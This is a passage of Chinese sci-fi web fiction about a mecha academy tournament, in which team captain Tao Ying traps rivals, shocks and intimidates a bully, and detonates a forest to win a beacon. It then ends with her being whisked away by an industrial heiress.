“啊？”林别歌满脸诧异，“瓦伦提斯不是昨天第一个燃料用完的吗？你当时还说他们一点计谋没有全靠莽？” “是啊，但他们运气好。” 瓦伦提斯军校的几个愣头青，虽说机甲能量耗尽，但他们在寻找物资点的过程中，竟然在一处杂草堆里找到了信标！ 简直运气爆棚。 甚至瓦伦提斯的选手，在捡到这个双棱锥形状的水晶体当下，都没有意识到它是信标，还以为是什么值钱的东西，才捡的。 所以直到第二天，他们和维加瑞军校的队友交换信息的时候，队友才惊讶地激活了那块信标，主持人于是宣布他们晋级。 简直是走了狗屎运了。 四个信标，现在还剩下三个。 “那我们现在应该开始找信标了吧。” “不急，”陶影露出一个和善的微笑，“我有一个想法。” …… 赛场下起小雨。 B5区域附近。 干枯的巨树从根部被切割，横躺在机甲和它的目的地中间，树干上冒出一朵朵蘑菇。 六翼的白色机甲一脚踩了上去。 机甲型号，雾雨E-0089。 驾驶者，图兰提斯战术小队队员—— 祝小芮。 她正在运送物资。 祝小芮唉声叹气：“青璇军校竟然被袭击了。” 祝小芮她们参加过几届联赛了，当然知道保留物资的重要性，囤的部分完全够用。 但谁知道计划赶不上变化，她今天刚睁眼就接到青璇军校传来的紧急通讯 “我们燃料没了！不知道是谁昨晚来偷的，明明营地特地设置了电子防火墙和光学迷彩，竟然还是被发现了。” “听说是阿尔泽塔军校干的，回头我非得先按着他们揍一顿以表心头之恨。” ——青璇军校的队长原话是这么说的。 他说完就断电了，似乎是用最后一点能量给他们发了坐标。 这就是祝小芮现在在这里的理由了。 她要去给青璇军校运送物资。 祝小芮唉声叹气跳过拦路的巨树。 雾雨E-0089灵活地在森林中穿梭着，不断前进。 树叶刷拉地发出扫耳朵的声响。 “差不多就是这附近吧？” 祝小芮按动面板，确认了一下坐标。 姬达婳的声音从耳机传来：“小芮，物资送到了吗？” “马上到！” 祝小芮正要往前，但耳边突然传来滋啦滋啦的声响。 她动作一顿。 场内的机甲，除了她的雾雨E，很少有机型能做到这种程度的信号屏蔽。 这种地方为什么会有高强度的通讯干扰？ “大花学姐？”祝小芮再次小声试探。 队频里没有回应。 祝小芮背后一阵凉意窜了上来。 “感觉这里气氛不太对劲……” 殒星沼泽那边，太阳直射，温暖干燥，湿度适中。 而灰荆森林这一侧，树冠互相遮挡，内部极少透出光线，反倒是湿气很重，机甲走在这里，都有种喘不过气的感觉。 周围寂静没有声音，祝小芮这才意识到异常。 有了昨天晚上发生的事，没有被袭击到的机甲队伍，应该很着急寻找物资才对，整片森林不可能这么安静。 雷达上毫无反应，没有一台机甲在移动，整片森林像是死的一样。 地上有机甲踩过的脚印，但只前往一个方向。 有进无出……是陷阱！ 祝小芮猛然抬头，手下意识大力推动操纵杆。 树冠摇晃两下，雾雨E跳上高处。 果然，下一刻，祝小芮看到脚印消失的地方，那颗巨树背后，有一台愚者MK2正在守株待兔。 而它手里举着一把冰锤，地上是一堆机甲的头部。 也就是……驾驶舱。 这些机甲踩入陷阱，被砍掉驾驶舱了。 “还好发现了……”祝小芮拍拍胸口，后怕地抱住树干。 “话说那台拿锤子的机体是南卦吧？” “嗯，是她。” 祝小芮正想说通讯怎么突然接通了，还有大花学姐你还记得南卦的名字啊。 然后反应过来这个声线根本不是姬达婳。 而且声音是从背后传来的。 祝小芮头皮发麻，像见了鬼一样转头。 树冠深处，一台机甲逐渐从阴影中显现。 机甲掀开头上遮盖的树叶。 沙沙、沙沙。 曙光T4的眼睛直直盯着祝小芮。 祝小芮试探道：“S老师？” “嗯。” 陶影的声音从机体内传来。 曙光T4手中的裂齿链锯呜呜地响了两声。 机体向前一步。 一股威胁的意味逐渐蔓延。 祝 小芮下意识后退，但很快踩空，她抓住身边的树干，才没失去平衡掉下去。 雾雨E的翅膀挂上了树叶，祝小芮扯了扯，没扯下来。 她的机甲卡在那里了…… 祝小芮吞了下口水，尬笑一声，回头和陶影交流。 “今天天气挺好啊，S老师你在这里晒太阳？” “不啊，我在等你。” 陶影语气温柔，笑容灿烂。 祝小芮：“……” 把你锯子放下再说话！！！ 第73章 祝小芮果断斩掉六翼逃生。 朋友,她真的受够了。 最近几场比赛，机体的翅膀一直在被砍，自打遇上S老师,她雾雨E-0089的翅膀就没有好过一天！ 游戏里被烧不说，友谊赛开场就被林别歌砍了。 现在更是都不需要别人动手。 为了逃生,她自断双翼。 祝小芮发誓，等联赛结束她一定要换一台机甲,再也不要开雾雨号了！ …… 雾雨E-0089在巨树的树冠中不断跳跃,而身后的曙光T4穷追不舍,根本甩不掉。 祝小芮能感觉到她的机体因为失去六翼，逐渐升温。 雾雨E马上就要因为过热而自动宕机。 祝小芮浑身被汗水浸湿,满脸通红地伸手投降：“S老师,友,友谊第一，比赛第二！” “赛场上没有永远的朋友。” 明明机甲没有表情功能,但祝小芮总觉得，此刻面前正举着电锯的曙光T4,浑身都是玩笑的气息。 而它的机师，想必正露出一副玩得很开心的笑容。 “杀人啦啊啊啊啊啊！！” 此刻，祝小芮回想起前两天看的恐怖电影,《太空女鬼六》。 这是星际知名恐怖片系列的最新续作。 电影中，主角团乘坐星舰出门度假。 星舰半路抛锚，随后开始发生各种诡异事件。 此处省略五百字，总之，经过一系列的铺垫后，女鬼团出现了。 女鬼团的老大从通风管道爬出，她举起链锯,开始追杀主角团。 一阵血肉横飞后，主角团全灭。 片尾，星舰驾驶室的屏幕闪烁片刻。 它重新启航，开始寻找下一任受害者。 …… 先不说为什么明明是恐怖片，女鬼却十分科学地利用通风管道追杀主角团这件事吧。 但是电影里女鬼使的链锯跟S老师用的裂齿链锯一模一样！ 机甲赛场一转恐怖片片场。 祝小芮内心哀嚎。 画风不对啊朋友，这是机甲联赛，难道不应该大家气氛热血地互相殴打，争夺冠军，最后双双倒在地上，力竭地对视一眼，然后碰拳，在夕阳下讴歌友谊—— 这个剧情才对吧！ 这才燃吧！ 而，而现在这种阴森诡异的感觉是怎么回事。 陶影手中的链锯轰轰响了两声，将祝小芮逼退到死角，锯子架到雾雨E的驾驶舱上。 祝小芮眼泪都要流下来了：“怎么会演变成恐怖生存赛……” “唔，生存赛这点我倒是不反驳。可是哪里恐怖了？” 陶影摩挲下巴，一脸意外：“我砍得还挺爽的啊。” 祝小芮两手颤巍巍地指着她。 “你又不是被追杀的那个！你当然爽了！！” …… 陶影本来不想抓图兰提斯的人，毕竟以他们的头脑，抓了肯定会想尽办法逃走，很麻烦。 但祝小芮一旦离开，肯定会向外传递消息，后面的机甲要再抓到就很难了。 所以必须将祝小芮送进“安全区”。 陶影举起链锯，一把切掉祝小芮的驾驶舱。 雾雨E的头部在树冠上弹了两下，往下坠落。 曙光T4朝下探头：“南瓜，接一下。” “好嘞。” 南卦在地面上远远地挥手致意。 “猫核老师你不要乱动哦，驾驶舱会摔得东一块西一块的！” 那真是谢谢你提醒了。 面对一边桀桀桀一边杀人的女鬼她也不敢动啊。 祝小芮眼含热泪。 决赛的时候，他们图兰提斯绝对要绕着太空女鬼队走！ 雾雨E的头部就这样掉进愚者MK2的怀里，南卦声音甜美道：“接住你啦猫核老师，那你在安全区稍作休息，我们尽量快点完成比赛，大家都可以回家休息了。” 南卦说着，把雾雨E的头放入一边的安全区。 祝小芮灰头土脸地从驾驶舱爬出来，认出同在那里的还有长离军事学院、诺斯卡联邦军校的选手。 一群人似乎已经对头上掉机甲的事情见怪不怪了，还朝祝小芮挥手。 “哟，堂堂图兰提斯也惨遭毒手啊。” “突然感觉心里平衡了一点。” 祝小芮：“……” 看来踩进这个陷阱的倒霉蛋不止她一个。 说是稍事休息，但祝小芮当然不打算坐以待毙，她要想办法出去给同伴传递信息！ 安全区……大概就是这个用铁丝划分出来的区域吧。 大概有个一百米见方。 祝小芮左右观察了一下，趁南卦没注意，来到安全区边缘，手刚摸上铁丝，轻微的麻痹感从指尖一路延伸到小臂。 背后传来提醒：“那里有电网，你小心点。” “第二次摸到电力超级加倍，很痛的。” 祝小芮跪坐在地，两手颤抖着流泪。 “你提醒得太迟了……” 已经摸到了，确实很痛。 但祝小芮的体质很好，她很快就振作了起来。 祝小芮指着那根铁丝道：“哪里来的电网？” “听说是太空女鬼队的队长拆了机甲做的。话说你不用试着逃走了，各种办法我们都试过，没用。” “是啊，这里被围起来，到处都是陷阱，根本出不去——小心，朋友，你脚下有坑。” 已经掉进洞里的祝小芮：“……” 所以说提醒得太迟了啊！ 祝小芮仍然没有放弃逃走，她决定挖个地道出去。 南卦察觉到她的计划，贴心地凑近提醒。 “电网外围有埋炸弹，这个项目真的不推荐尝试。虽然医药费有保险可以报销，但是还蛮痛的。” 祝小芮彻底跪地投降。 “你们究竟哪里来的炸弹……” “小影拆了机甲的能源模块自己捏的。” 祝小芮抓狂：“她以前究竟干什么工作的啊！法外狂徒吗！” 逃走是不可能逃走了，那就分析一下战局吧。 祝小芮盘腿在地。 数了数和她一起被困在这里的人，共十五个。除去已经晋级的一组队伍，还有退赛的那组，现在场上还剩十四组队伍。 这十四组队伍，现在一起争抢剩下的三个信标…… 不，经过一场战斗，祝小芮感觉信标都没那么重要了。 毕竟这十四组队伍的数目很快会锐减。 所以现在她只能祈祷。 大花学姐，翟学弟，你们一定要从那个邪恶女鬼的手里活下来啊—— …… 第二天很快过去。 大家度过了异常平静而安稳的一晚。 毕竟经过陶影的一通操作，大部分选手都被关到了安全区。 ——场上队伍只剩四组。 分别是贝奥尔军校组，太空女鬼组，图兰提斯战术小队组和诺瓦军校组。 很快，第二道绿色的光柱也打上天空。 主持人欢快宣布。 【恭喜贝奥尔军事高等学院和诺斯卡联邦军校晋级决赛！】 贝奥尔军校一开始就凭借绝对的实力，抢占 了殒星沼泽的大部分区域，并且锲而不舍地在其中进行搜索。 终于在第三天找到了沼泽地内的信标。 这个信号一出，场上还存活的队伍，都非常焦急地寻找着剩下信标的位置。 但太空女鬼队一点不急，毕竟这场比赛的获胜队伍已经毫无悬念了。 林别歌废掉手上最后一台机甲，点了点数目。 “影子，我们还要继续吗？现在只剩三个组，我们不会输了。感觉可以开始找信标了。” “一直找着呢。”陶影没抬头，回答道。 “啊，什么时候？”林别歌一头雾水。 她们亲爱的队长自打昨天追杀祝小芮，大战十二分钟后，简直是燃尽了体力，几乎没有动过。 她什么时候找信标了？ 林别歌匪夷所思：“你昨晚在梦里找的？” 陶影手在地图上敲了敲。 地图上出现横竖各9条线。 “我大概将湿地划分成一百块，第一天你们仔细找过的区域，是这二十块。” “三个以上队伍重合寻找过的地方，打上重点排除标签，排除重复的部分，这部分区域占了二十三块。有经验的队伍寻找过的地方，同样排除重复的部分，占了五十七块。” 陶影总结道：“这些区域大概率不会出现信标了。” “啊？”林别歌大脑飞速旋转，“20加23加57等于……100？” 这个数学题很难计算吗，还要数手指？ 陶影挑眉。 她按下一个按键，随后屏幕上，所有的地块都高亮起来。 “截止到现在，所有的位置都已经被人找过了。” 林别歌一脸茫然：“啊？那剩下的两个信标究竟在哪里？是有人找漏了吗？” “有这个可能性，但不大。” “总不可能是埋在土里吧？” 陶影惊讶道：“林别歌，你的思维能力竟然成长到了这个地步，我太欣慰了。” “是吧？我就说吧，跟你们两个聪明人呆在一起，我也是可以学会分析的！” 林别歌大声道：“所以剩下的信标果然是埋在土里！” 陶影摇摇头：“并不是。” “……” 这人又逗她。 林别歌磨牙：“那你倒是告诉我在哪儿。” 陶影撑着下巴，打了个呵欠。 “当然会告诉你，不过在那之前，还有桩私人恩怨需要处理。” …… 另一边——阿尔泽塔军校。 两台受损严重的机甲，一边寻找着信标，一边朝灰荆森林行进。 阿尔泽塔面对这类比赛的战术向来是：如果有人找到信标，他们就抢过来。 比赛第一天，他们的确是这样打算的。 但第二天，一切都变了。 他们被攻击了。 阿尔泽塔军校走过的地方，不断有机甲袭击，其频率非常高，走一百米就能遇到一队。 许彪一开始还能迎战，逐渐力不从心，最后只能狼狈逃走。 但那些队伍就跟领了追杀令似的，锲而不舍地追击。 他们可是阿尔泽塔军校，其他队伍平时见到都是惹不起躲得起。怎么会有这么多人攻击他们，就好像有什么深仇大恨一样。 许彪皱眉。 总感觉好像被人算计了…… 阿尔泽塔三人被追杀得狼狈不堪，好不容易才逃走，但也付出了沉重的代价。 童飞鸣的机甲直接废掉，现在只能挤在许彪的驾驶舱里。 另外两台机甲也受损严重，只能勉强运行。 童飞鸣看着面板，小声道：“话说是我的错觉吗，怎么觉得雷达上的队伍越来越少了……” 整个赛场都变得很安静，好像很多队伍凭空消失了一样。 许彪不以为意，冷哼一声。 “估计是争夺信标的时候，被贝奥尔军校KO了，没什么大不了的。” “燃料要用完了，柴婕，我们兵分两路，去找找补给点。” “好。” 很快，去东侧寻找物资的柴婕发来通讯。 “一无所获，你们那边怎么样。” “不怎么样。” 他们之前一直是靠抢别人物资度日的，但现在走了半天，一个队伍都没碰见，怎么抢？ 面板显示燃料还有20％，坚持不了多久了。 许彪神色也有些急迫。 正在这时，一台曙光T4突然从他们面前跳过。 它朝着前方行进，似乎没有发现许彪他们的存在。 而它，手中正抱着一桶燃料。 这台曙光T4，在他们雷达上的标识是绿色。 绿色，代表队友。 许彪反应过来里面的人是谁，愣了一下，随后一阵大笑。 队友真是送来一波及时雨啊。 片刻后，许彪低沉声音，语气中带着胸有成竹的笑意。 “不用找了，我知道哪里有物资。”—— 作者有话说：千收啦[撒花] 第74章 陶影正在搬运燃料桶。 面前,二十几个桶垒成一座小山。 燃料桶是黑色加厚金属材质，内壁镀有耐腐蚀防静电涂层，高度一米五左右,每个都贴着黄色的易燃易爆警告标志。 陶影无视了上面的警告标志，将圆桶横过来,一个个推入物资点。 时不时用脚踹一下，要不就任凭它顺着下坡滚动。 似乎完全不担心这些桶会爆炸。 终于,所有的桶都推完了。 陶影拍拍手上的灰尘,刚走到洞穴的转弯处,就听到有人在交谈。 陶影动作一顿，面上露出一个笑容,随后加快脚步,走出洞口。 “喀哒。”一声轻微的子弹上膛声。 陶影扬起头。 四米高的黑白机甲,解除了光学迷彩，从波动的空气中显现—— 机甲手里端着枪,已经在洞口处等候多时了。 强隐匿的狙击机型——天机零。 熟悉的枪口。 但这次枪口不是指向机甲，而是指向陶影的身体。 只要子弹发射,她的身体会瞬间血肉横飞。 一阵白汽冒出，驾驶舱的舱盖打开。许彪往那一坐，手指勾勾,逗狗似的朝陶影嘬了两声。 “囤了这么多物资，用得完吗？” “给我们一点呗。” 陶影缓缓后退两步，手从后腰拔出一个物件。 陶影歪头：“我要是不给呢？” 许彪很不要脸的：“不是队友吗？帮帮我们也很正常吧。” 许彪左右看了一下。 她那两位队友竟然不在。 之前还老是屁颠屁颠跟在这位队长身后，怕她磕了碰了的，关键时刻却消失了。 现在物资点只有这位柔弱的队长。 许彪咧嘴一笑：“你没有讨价还价的资格。没人会来救你，劝你识时务一点。” 见陶影并没有反应，许彪指了指身后的童飞鸣：“你一个人,不会想要打过我们两个吧？” “是啊，确实打不过。” 陶影大方承认。 似乎是因为刚才搬运燃料桶，她有点累，干脆一屁股在枪口前面坐下了。 许彪奇了，这人怎么又不害怕？ 之前海选赛，天机零的枪口就在她面前，而这人迅速握住枪口，一点没迟疑。 当时两人都开着机甲，许彪无从得知她的表情。但此刻陶影就站在他面前，所以许彪很清楚地看见了。 她在笑。 正常来说，人被枪指着笑不出来。 许彪觉得不太对劲。 但他很快把这股不对劲压了下去。 这人肯定是故意虚张声势，想表现出一副游刃有余的样子来迷惑他。 就算真的有后招，她手里又没有武器，能拿他怎么样？ 果然，下一刻，陶影并没有反抗。 陶影耸了耸肩，让开了道路。 许彪鼻子出气，非常满意陶影的态度，他认为，肯定是自己比赛前的那个下马威震慑到她了。 许彪自负地点头：“这才识时务。童飞鸣，你在外面守着。” 他和陶影擦身而过，陶影很自然的转过身，手摸到后腰。 然后跟着许彪走近洞穴深处。 转角处，没有人注意到陶影的腰间正别着…… 一把枪。 …… 这里的确是个绝佳的物资点。 许彪检查一番，足足有二十来个燃料桶，他心头狂喜，就要推着燃料桶出去，但刚推了两步，发现不对劲。 这个燃料桶是空的，里面什么都没有。 许彪又继续检查了几个桶，全是空的。 所以这人刚才是搬运了好几个空桶来这里吗？！ 物资不在这里，早被转移走了。 竟敢耍他！ 许彪正要转身质问，背后突然传来一阵剧烈的麻痹感，他还没反应过来，就抽搐着身体躺在了地上。 许彪瞪大了眼睛，抬起头。 而陶影正悠然靠在墙上，面上带着微笑。 而她手里拿着一个本不该有的东西—— 电击|枪。 “你他——” 陶影微笑着把电击|枪的电流调大了一点。 “你说什么？我没太听清。” 许 彪口齿不清道：“你——” 电击|枪又是一阵滋啦滋啦的响声。 许彪躺在地上只能大口呼吸。 “啊，手滑了，用机甲零件临时搓的枪，电压不太稳定，应该没电死吧？” 陶影蹲下身，捡起一块石头，戳戳许彪的左腿。 许彪瞪视着她：“你，你，报复……” “想问我是不是因为整备场的事情报复你？哦，不完全是。” 陶影举起手指，摇了摇头，她优雅地加大电流。 许彪痛苦地往后挣扎，而陶影按了一阵按钮，似乎是觉得有点累，找个地方坐了下来。 陶影托着下巴，无聊地把玩着手里的电击|枪：“早知道写个自动程序，拇指都按酸了……应该没有骨折吧？” 说着陶影揉了揉自己酸痛的手。 而地上正承受着几百上千倍剧痛的许彪：…… 许彪：“出去之后你给我等——啊！” 在一声极大的电流后，许彪惨叫一声，蜷缩起身体。 许彪在根本无法控制身体的痛苦中，侧过脸，视线模糊，汗水进入眼睛里，辣得他想哭。 也有可能他已经痛哭流涕了，只是自己没发觉。 许彪就这样，咬着牙转头，想把陶影的面孔死死烙印在大脑里，他要报复…… 但他转头的时候，陶影不在刚才的地方了。 陶影站在了许彪的另一侧。 阴影投在陶影惨白的侧脸上，有种诡异的非人感觉。 就好像她的灵魂和身体并不相容。 那么短的时间内，她怎么变换位置的？ 是他产生幻觉了吗？ 不会真的是鬼吧。 许彪满头大汗，不知道是痛的还是吓的。 而陶影盯着自己的手，喃喃道：“怎么又来了……触发点究竟是什么？” 她疑惑片刻，和许彪对上视线。 站着的机师弱不禁风，好像下一刻就要倒下。 地上的壮汉肌肉虬结，随时可以暴起。 任谁看来，占上风的都应该是许彪。 但许彪用肘艰难撑地，一刻都不敢动，机师只是轻微地前进了一步，就吓得许彪抽搐一下，只敢蹬着腿向后。 陶影好笑地慢悠悠向前两步，一脚踩上许彪的脖子，上位者姿态俯视着。 “你看见了？” 许彪后退两步：“你，你是故意落单的，是不是！你故意拿空桶引我进来。这是个陷阱！” “脖子上的东西倒也不是个摆设。” 陶影不知道从哪里掏出一把刀，蹲下身，在许彪的颈侧威胁地划拉两下。 虽然星际的医疗水平非常好，就算脖子断了也能接回来，但人体本能尚且没有进化掉被割破喉咙的恐惧。 当冷冷的刀锋在脖子上划出一道血痕的时候，许彪还是很害怕。 陶影刚刚还是一副电着你玩玩的模样，却在接近许彪的瞬间，眼神突然变了。 仿佛要将人刺穿。 甚至比许彪身上的电流更让人恐惧。 陶影看着许彪，像看着一段段分解后的肢体，毫无感情，而当中甚至有一丝杀意。 许彪觉得惊惧。 他是被人揍大的。 在军校上课，被教官打得最狠的时候，也只是笑笑，而教官上一线战场杀过虫族，远比现实中任何人都能让许彪感到恐惧。 但眼前这个柔弱的机师，只是一个眼神，就让他不敢动弹。 为什么？为什么她会给人这样一种恐惧感？ 这不是一个普通学生该有的眼神，是一个上过战场的战士，是一个见过无数死亡的人的眼神。 无情，冷漠……且善于伪装。 许彪脸颊抽动两下，呼吸几乎停止。 这不对劲。 她的表情和刚刚完全不一样了，就像失去了什么人类应该有的东西。 这不是玩笑，她真的有一瞬间想杀了他。 许彪背后冷汗直冒，他连声大喊：“我认输！我不找你麻烦了！以后都不了！” 整个物资点都是许彪的求饶声。 陶影手顿了下。 而后，恢复了一副很没意思的表情。 “还以为你会再多喊两声呢，这么快就求饶了。” 陶影收刀起身，又按了一下电击|枪，把许彪彻底电晕了。 她敲敲疼痛的脑袋，坐下缓了一会儿。 从刚才开始精神力就有些不受控制，头像裂开一样疼。 临走前，陶影思索片刻，勉强压制着精神力躁动，来到许彪身边，一把扯下他手腕上的东西。 随后大踏步走出场外。 …… 陶影询问：“林别歌，南卦，事情办得怎么样了？” 队频里的南卦非常兴奋，感觉快要跳起来了。 “都安排好了，”南卦脸凑近屏幕，“计划是不是可以开始了？” 林别歌擦汗：“影子，你真确定要这么干？” 陶影看着那些空的燃料桶。 “嗯，我体力到极限了。” “现在快速找到信标吧。” …… 场上没晋级的队伍还有两组，而信标正好还剩两个。 胜负已定，没什么可看了。 “不过话说回来，把寻标赛打成生存赛的，还真是头一次见。” “是啊，跟恐怖片似的。” 观众们心有余悸，像看完一场恐怖电影，稀稀拉拉退场。 还有人在等彩蛋。 “学妹跟太空女鬼队的晋级都稳了，小墨，你怎么还不走，”尹子航戳戳柏墨的背，“散场啦。” 柏墨摇摇头：“还没结束。” 她一手贴上透明舱舱壁，一手指着灰荆森林，向尹子航示意。 尹子航疑惑地凑过去一看。 “灰荆森林怎么了吗？” 赛场南侧，巨树的树冠下，绿叶的缝隙里，星星点点的红色光辉闪烁着。 一眼看过去还怪好看的。 但第二眼看过去就有点恐怖了。 红色的光辉…… “她，她们在灰荆森林里点火了？！”尹子航语调上扬。 “算是吧。”柏墨淡淡道。 “不过比你想的要严重一些。” “这些红点不是分裂的断点，而是被树叶遮挡的引线，它们前往同一个方向，终点是——” “灰荆森林的中心。” 柏墨话音刚落。 火焰的中心响起一声撕裂空气的雷鸣声，刺目的光辉照亮了整个赛场。 ——轰隆！ 爆炸产生的空气波卷起一阵暴风，不平稳的气流，冲击星舰不停震动，观众的惊呼声浪潮般涌来。 星舰不稳地震动两下，透明舱甚至出现裂痕。 白金色的爆炸光线穿透赛场的防护盾，甚至能让观众看清掌心的血管。 柏墨捞起四体不勤的尹子航，一把将人扔进电梯里。 “害怕就上去。” 很快，整个森林燃烧殆尽，观众席隔着防护盾，似乎都能闻到硝烟的味道。 而最后赛场剩下的，仅有藏在物资中的信标。 爆炸的中心，两台机甲飞快地蹦出。 一堆黑炭中，曙光T4走近一个双锥状的水晶体。 它半跪在地，拾起信标。 “激活。” 水晶体颤巍巍地向天空投射出一道白色的光柱。 但这点光，在一场足以冲击防护盾的爆炸后，显得是那么微不足道。 主持人好半天才发现信标的光束，他扶着话筒，手抖道。 “恭，恭喜太空女鬼队成功晋级决赛！” 第75章 大部分机甲都被太空女鬼队霍霍得只剩驾驶舱,爆炸后更是只剩一地的碎片。 所以比赛结束，整备组回收机甲的时候，根本没有几台完整的机甲可供回收。 再加上灰荆森林的树木。 裂开的星舰VIP观众席。 这次联赛方得损失多少经费啊？ 清点损耗的整备员们看着手中比命还长的清单,忍不住挠头。 但片刻后，他们便放下杂念继续工作。 经费的事,让机甲协会和比赛赞助商自己头疼去吧。 反正也不扣他们工资。 整备区的选手们倒是没受爆炸影响，甚至还在对着夷为平地的灰荆森林,津津乐道。 祝小芮说得手舞足蹈：“你们是不知道,爆炸前三分钟,那台曙光T4愣是接连把我踢离了爆炸中心……” “我骨碌碌地被踢到整备区。” “那可算安全了，跟踢你的人说谢谢了吗？” “那真是太谢谢了。” 问题是没有那个女鬼,赛场根本！不会！爆炸！ 祝小芮磨牙：“我谢她祖宗。” 搬运机甲残骸的机器人大喊：“让让！请不要堵在门口！” 赛场内的机甲小队排着队,一脸土色地进入整备区。 机甲外壳都烧焦成黑色,受损严重，明显受到了爆炸的波及。 大家认出走在最前面的,是青璇军校的杜湛，和图兰提斯战术小队的姬达婳。 有人冲上去认亲：“队长！你还活着！” “算是吧,我们提前接到了撤退通讯……” 但以为是恶作剧没信，结果被炸得外焦里嫩。 杜湛抹了把脸上的灰。 “哇，图兰提斯的机甲倒是没怎么损耗。” 众人闻声看去。 果然,图兰提斯的机甲只是被爆炸的飞灰覆盖，没有太大损伤。 众人惊讶地睁大眼：“你们怎么做到的？难道提前预判了太空女鬼队的战术？” 姬达婳无奈地摆手：“只是跑得快而已。” 赛场内所有队伍都在同一时刻，接到了一条通讯。 公频里的女声慵懒地播送着奇怪的通知，语气像在播报天气预报。 “灰荆森林即将爆炸，各队伍注意避险。当然不远离也没关系，第一视角的爆炸中心也别有一番风味。就是可能这辈子只能看一次。” 大家都将信将疑，只有图兰提斯的姬达婳和翟飞舟,听到这个声音，立刻认出来是谁，即刻动身逃离。 果然，他们刚远离森林，背后就传来剧烈的爆炸声，直接把他们的机甲掀飞了。 身后十几个驾驶舱紧急弹射。 该说是还好联赛用的机甲安全性都非常好，还是这位设置爆破点的人技术好呢…… 姬达婳摘下战术头盔，甩了甩汗湿的头发，接住一把扑过来的祝小芮。 祝小芮仰头：“大花学姐，场内看爆炸的感觉怎么样？” 姬达婳沉默片刻后，挤出几个字：“非常刺激。” 之前友谊赛结束，图兰提斯这边对“太空女鬼队”的评价是：战术强，实力佳。 是个不可多得的好对手。 战术强？实力佳？ 姬达婳冷笑一声。 保守了朋友，太空女鬼队的评语后面应该再加上五个字—— 阴得没边了。 …… 虽然爆炸场面很夸张，但意外的没有几个伤员——少数几个需要进医疗舱的，是阿尔泽塔军校的人。 其中一个伤员身上有电击的痕迹。有人猜测是机甲漏电导致，但伤员的机甲又是燃料型，不存在这样的电流——大家于是很疑惑他究竟是怎么受伤的。 但伤员似乎收到什么惊吓，不敢开口。 最终大家无从得知他受伤的原因，只能将他送去了医疗舱。 …… 稍作身体检查后，选手们没有离开，在这里等着太空女鬼队的三位成员出现。 很快，夜色中，两台曙光T4，以及一台愚者MK2，慢悠悠地走入卷帘门。 选手们摩拳擦掌。 “我倒要看看制造爆炸的究竟是谁！” 最先下来的是一名一米八的强壮女人。 女人乍开舱门，就被众人扯了下去，一群人黑压压地涌了上来。 大家本来有点兴师问罪起哄的意思，纷纷指责，但没想到这女人毫不反驳，连连赞同。 “是吧，爆炸也太夸张了。” “多破坏环境。” 女人一脸生活的苦我都吃遍了的表情，张嘴想说什么，但是又闭上了。 最后只能憋出几个字。 “自己选的队长……” “哎，生活，哎，苦。” …… 角落里，另一台曙光T4终于打开舱门。 探出驾驶舱看了眼，大部分人都围在另一边。 陶影这才捂着头，脚步缓慢地爬了下去。 头还是疼得像凿子在敲。 这里的人吵吵闹闹，更是雪上加霜。 陶影走了几步后，挨不住了，半闭着眼，背部紧贴墙壁缓缓滑落，坐在地上。 医疗舱反应迅速，抬着担架就过来了。一人一只手，想把陶影扶上去。 但陶影头疼得不行，觉得动一下都会牵扯到脸上的肌肉，头更疼了，愣是半天没上去。 上次这么疼还是上次。 好像有一股精神力在脑子里乱撞。 陶影痛得有点恍惚，迷茫间半睁开眼，余光扫过白大褂胸口的刺绣，突然睁大眼睛。 然后猛地后退一步。 头也不痛了，身体也不僵了，一下子被拉回现实。 她掐了自己一把，果断伸手推开了惊讶的医疗员，拒绝去医疗舱。 “我的病你们是治不好的。” 那医疗员奇了，都这么难受了还嘴硬：“嘿，你这人，有什么病是我们治不好的？我们可是爱荷华科技旗下顶尖医院——” 医疗员还没说完，陶影抬眸，冷淡地瞥了她一眼，医疗员莫名背后一凉，下意识松开手。 但陶影转瞬收回那抹冷意，又信口胡诌道： “我就是突然想起死去的初恋，相思病犯了。浑身上下哪里都疼。” 哦——相思病。 两名医疗人员对视一眼，了然地点点头。 “看来是脑子出问题了。” “一看年纪就不大，死去的初恋是怎么回事？年轻人说话就是喜欢随口乱编。” “以我谈过八十次恋爱的经验判断，你根本不懂爱情。” 几名医疗人员侃天侃地，将刚刚的怪异插曲抛至脑后，一边开着玩笑，一边把陶影架上担架。 陶影趁几人不备，自己一个扑腾又滚下来了。 南卦踮着脚，看情况不对，扯林别歌小臂，想过来帮忙，但挤了半天没挤出去，只能隔着乌泱泱的人群大喊：“小影！” 陶影没听见，她正忙着和医疗员斗智斗勇。 “想逃？” 医疗舱人员扯了扯手上的白手套。 乳胶手套啪地一下弹回手背，医疗员手拿镇静剂和束缚带，桀桀怪笑地靠近陶影。 陶影：“……” 大庭广众之下，不像是拉着她去治疗的，像要拉她去精神医院分尸的。 当然，这几名医疗员的目的只是治疗她，但如她们刚刚所说，她们所属的医疗舱，拥有切斯特星，甚至整个星际顶尖的医疗。 陶影再次看向她们胸口的刺绣。 维亚医疗中心。 爱荷华家族旗下的医疗产业。 陶影以前经常去，对它熟得不能再熟。 一旦她的精神力数据进入爱荷华科技的资料库，鬼知道会被拿来干什么。 陶影“哎哎”两声，反抗不成，被力气超大的医疗员拉上担架。心中正思索怎么合理脱身，一只手突然伸了过来，挡在她和医疗人员面前。 那手将她拉下担架。 陶影站稳身体，侧过身看向来人。 一双黑色的瞳孔冷淡地盯着她。 柏墨？ 她怎么会在这儿。 愣神一瞬，陶影反应过来：“你来看比赛？” 柏墨点点头，算是回答了。 陶影一脸无奈。 柏墨这孩子，打小就沉默寡言，面无表情，惜字如金…… 只有看到机甲的时候才会有点人类的情绪。 柏氏工业和爱荷华科技是竞争对手，柏墨这种时候站出来，整件事情会变得有点奇怪。 但陶影转瞬又想，算了，反正她和柏氏工业这层关系决赛迟早会捅出来，也差不了几天。 陶影于是朝几位医疗人员耸耸肩：“事情就是这样，我病情比较复杂，需要柏氏工业的私人医生才能解决。” 医疗员一脸懵逼：“是，是吗？” 刚刚不是还说相思病吗？不是说死去的初恋吗？ 难道柏氏工业的私人医生会招魂？ 柏墨懒得废话，干脆直接招手。 十几个浑身黑色西装的安全员走进来，一阵风似的将陶影带走了。 走的还是VIP通道。 不知道从哪里来的记者偷偷进入了整备区。 跟在后面疯狂拍照。 “我没看错的话，刚刚那是柏墨？” “去年高校机甲联赛一个打十个的机甲大魔王，听说她今年会破格参加职业联赛。” 记者疑惑：“这么厉害的角色，太空女鬼队的队长怎么会认识她？” “太空女鬼队是海台科技赞助的，这下又跟柏氏工业扯上关系……” 果然有什么内情吧。 这位队长一定有什么不为人知的身份！ 那记者想要往VIP通道里面挤，但安保员一挺胸，便把她顶了出来。 